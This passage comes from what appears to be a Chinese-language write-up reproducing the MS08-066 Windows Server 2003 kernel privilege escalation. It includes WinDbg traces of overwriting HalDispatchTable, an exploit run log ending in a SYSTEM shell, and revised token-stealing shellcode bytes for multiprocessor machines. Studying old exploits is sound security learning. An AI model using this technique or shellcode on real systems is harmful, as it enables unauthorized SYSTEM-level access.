808940dc 80a76d30 hal!HaliLocateHiberRanges
808940e0 808e7036 nt!xHalRegisterBusHandler
808940e4 80a71e54 hal!HaliSetWakeEnable
808940e8 80a71e0e hal!HaliSetWakeAlarm
808940ec f733f022 pci!PciTranslateBusAddress
808940f0 f733ee46 pci!PciAssignSlotResources
808940f4 80a5caa6 hal!HaliHaltSystem
--------------------------------------------------------------------
控制执行流本质就是将shellcode的地址覆盖到
80894078 00000003
8089407c 80a75a1e hal!HaliQuerySystemInformation <---
然后调用NtQueryIntervalProfile,从而执行hal!HaliQuerySystemInformation
从泄漏的windows server 2003源码分析一下该流程
NtQueryIntervalProfile
KeQueryIntervalProfile
HalQuerySystemInformation(HaliQuerySystemInformation)
具体是如何覆盖的呢?结合上面的struct sockaddr_in结构体信息
struct sockaddr_in peer 内存布局如下:
+------------------------------------------------------+
| 2 bytes | 2 bytes | 4 bytes | 8 bytes |
+---------+----------+----------------+----------------+
| family | port | IP Address | zeros |
| 0x0002 | 0xBACA | 0x0100007F | 0x0000000000000000 |
+---------+----------+------------+--------------------+
当复制peer数据到HalDispatchTable时,IP Address的值正好被复制到
8089407c 80a75a1e hal!HaliQuerySystemInformation <---
当调用NtQueryIntervalProfile时,是调用0x0100007F的代码
8089407c 0x0100007F -> 0x90 ... shellcode
当调用成功覆盖HalDispatchTable后,调用NtQueryIntervalProfile成功执行代码
1: kd> dd nt!HalDispatchTable L8
80894078 bd010002 0100007f cccccccc cccccccc
80894088 00000000 8081a784 808e61d2 808e6a68
可以发现替换成功,但是为什么没有显示为0x100007f呢?
主要是因为小端字节序导致的
执行效果如下
--------------------------------------------------------------------
[+] Get function address...OK!
[+] get kernel base...Kernel is \WINDOWS\system32\ntkrnlpa.exe(0x80800000)
OK!
[+] load kernel library: ntkrnlpa.exe...OK!
[+] HalDispatchTable found [ 0x80894078 ]
[+] allocate memory at [0x01000000]...OK!
[+] Overwriting HalDispatchTable with those bytes...
shellcode addr: 0012FB74
[+] Executing shellcode...OK!
[+] Create a new process...OK!
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:\Documents and Settings\Administrator\My Documents\Visual Studio 2008\Projects
\MS08066\MS08066>whoami
nt authority\system
c:\Documents and Settings\Administrator\My Documents\Visual Studio 2008\Projects
\MS08066\MS08066>
--------------------------------------------------------------------
3) 优化shellcode代码
上面的exploit代码偶尔执行会失败,失败的原因是eax+218的值为空或eax+98h为空
开始我以为是进程链的问题,我以为是单向的,但是经过分析进程链是双向的,不存在这个问题
后来进过不停的分析和问ai,才知道0FFDFF124h的值只针对proccess 0
分析如下:
--------------------------------------------------------------------
Break instruction exception - code 80000003 (first chance)
01000107 cc int 3
2: kd> u .
01000107 cc int 3
01000108 60 pushad
01000109 9c pushfd
0100010a b824f1dfff mov eax,0FFDFF124h
0100010f 8b00 mov eax,dword ptr [eax]
01000111 8bb018020000 mov esi,dword ptr [eax+218h]
01000117 89f0 mov eax,esi
01000119 8b8098000000 mov eax,dword ptr [eax+98h]
2: kd> p
01000108 60 pushad
2: kd> p
01000109 9c pushfd
2: kd> p
0100010a b824f1dfff mov eax,0FFDFF124h
2: kd> p
0100010f 8b00 mov eax,dword ptr [eax]
2: kd> p
01000111 8bb018020000 mov esi,dword ptr [eax+218h]
2: kd> p
01000117 89f0 mov eax,esi
2: kd> p
01000119 8b8098000000 mov eax,dword ptr [eax+98h]
2: kd> r
eax=00000000 ebx=80994601 ecx=00000000 edx=0012fa9c esi=00000000 edi=b9648d64
eip=01000119 esp=b9648cdc ebp=b9648d20 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202
01000119 8b8098000000 mov eax,dword ptr [eax+98h] ds:0023:00000098=????????
2: kd> dd 0FFDFF124h
ReadVirtual: ffdff124 not properly sign extended
ffdff124 8089d8c0 00000000 8089d8c0 00000000
ffdff134 00000001 71000117 00010017 00000000
ffdff144 00000000 00000000 00000000 00000000
ffdff154 00000000 808ab820 808ab820 f79062cc
ffdff164 80828102 8af7db40 8abbd410 00000000
ffdff174 00000000 8abbd410 00000000 8af7db40
ffdff184 8abbd410 f7b95d00 00000001 8abbd410
ffdff194 f7b95d00 8abbd400 f79062fc 80a5c456
2: kd> dd 8089d8c0+218
ReadVirtual: 8089dad8 not properly sign extended
8089dad8 00000000 00000000 00000000 00000000
8089dae8 00000000 00000000 00000000 00000000
8089daf8 00000000 001f03ff 00000000 00000000
8089db08 00000000 00000000 00000000 00000000
8089db18 00000000 00000000 00000000 00000000
8089db28 00000000 00000000 00000000 00000000
8089db38 00000000 00000000 001e0003 00000000
8089db48 8089db48 8089db48 8089db50 8089db50
--------------------------------------------------------------------
这里的主要原因在于多处理器导致KPCR不同的原因,比如上述的问题,查看其的KPCR
--------------------------------------------------------------------
2: kd> !PCR
KPCR for Processor 2 at f772f000:
Major 1 Minor 1
NtTib.ExceptionList: b96485e0
NtTib.StackBase: 00000000
NtTib.StackLimit: 00000000
NtTib.SubSystemTib: f772ffe0
NtTib.Version: 0000446d
NtTib.UserPointer: 00000004
NtTib.SelfTib: 7ffdf000
SelfPcr: f772f000
Prcb: f772f120
Irql: 0000001f
IRR: 00000000
IDR: ffffffff
InterruptMode: 00000000
IDT: f7735800
GDT: f7735400
TSS: f772ffe0
CurrentThread: 89d56db0
NextThread: 00000000
IdleThread: f7732090
DpcQueue:
--------------------------------------------------------------------
其值不再是0FFDFF000h,所以为了顺利在多处理器的情况下执行,需要优化代码。
经过问测试发现fs:0x124直接存储的是_KTHREAD结构,所以可以直接通过代码获取,
不用再绕弯了,代码修改如下:
--------------------------------------------------------------------
原始代码:
0xb8, 0x24, 0xf1, 0xdf, 0xff, // mov eax,0xffdff124
0x8b, 0x00, // mov eax,DWORD PTR [eax]
0x8b, 0xb0, 0x18, 0x02, 0x00, 0x00, // mov esi,DWORD PTR [eax+0x218]
0x89, 0xf0, // mov eax,esi
修改后:
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, // mov eax, fs:[124]
0x8b, 0xb0, 0x18, 0x02, 0x00, 0x00, // mov esi,DWORD PTR [eax+0x218]
0x89, 0xf0, // mov eax,esi
--------------------------------------------------------------------
成功执行.
☆ 遇到的问题
1. afd没有符号信息,强制重新载入即可
--------------------------------------------------------------------
0: kd> .symfix c:\mysymbols
0: kd> .reload /f afd.sys
--------------------------------------------------------------------
中间还遇到了很多问题,忙着复现没有记录,下次多注意
下一篇:ms11-046